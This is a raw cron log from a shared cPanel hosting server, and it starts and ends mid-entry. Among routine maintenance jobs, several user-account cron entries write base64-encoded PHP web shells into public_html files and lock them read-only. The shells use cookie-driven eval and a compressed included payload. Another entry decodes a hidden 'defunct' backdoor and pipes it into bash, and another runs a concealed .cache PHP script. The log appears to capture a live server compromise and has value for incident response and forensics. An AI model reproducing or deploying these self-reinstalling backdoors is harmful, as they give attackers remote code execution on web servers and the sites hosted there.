dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:00:01 medusa CROND[20836]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 05:00:01 medusa CROND[20839]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20837]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:00:01 medusa CROND[20842]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 05:00:01 medusa CROND[20843]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:00:01 medusa CROND[20847]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20844]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:00:01 medusa CROND[20861]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20862]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:00:01 medusa CROND[20852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20868]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:00:01 medusa CROND[20869]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:00:01 medusa CROND[20871]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 05:00:01 medusa CROND[20872]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:00:01 medusa CROND[20873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:00:01 medusa CROND[20860]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:00:01 medusa CROND[20864]: (root) CMD (bash -c "sleep ${RANDOM:0:2}m"; /usr/bin/flock -n /var/run/xray_tasks.cronlock /usr/sbin/cloudlinux-xray-manager autocomplete-tasks &> /dev/null)
Apr 19 05:00:01 medusa CROND[20867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:00:01 medusa CROND[20857]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:00:01 medusa CROND[20880]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 05:00:01 medusa CROND[20890]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:00:01 medusa CROND[20881]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20870]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:00:01 medusa CROND[20854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:00:01 medusa CROND[20855]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:01:01 medusa CROND[24472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:01:01 medusa CROND[24684]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:01:01 medusa CROND[24713]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:01:01 medusa CROND[24715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:01:01 medusa CROND[24716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:01:01 medusa CROND[24717]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 05:01:01 medusa CROND[24719]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:01:01 medusa CROND[24722]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:01:01 medusa CROND[24724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:01:01 medusa CROND[24725]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:01:01 medusa CROND[24727]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:01:02 medusa CROND[24729]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:01:02 medusa CROND[24730]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:01:02 medusa CROND[24738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:01:02 medusa run-parts(/etc/cron.hourly)[24717]: starting 0anacron
Apr 19 05:01:02 medusa run-parts(/etc/cron.hourly)[25006]: finished 0anacron
Apr 19 05:02:01 medusa CROND[23406]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:02:01 medusa CROND[23442]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:02:01 medusa CROND[23443]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:02:01 medusa CROND[23444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:02:01 medusa CROND[23445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:02:01 medusa CROND[23448]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:02:01 medusa CROND[23449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rl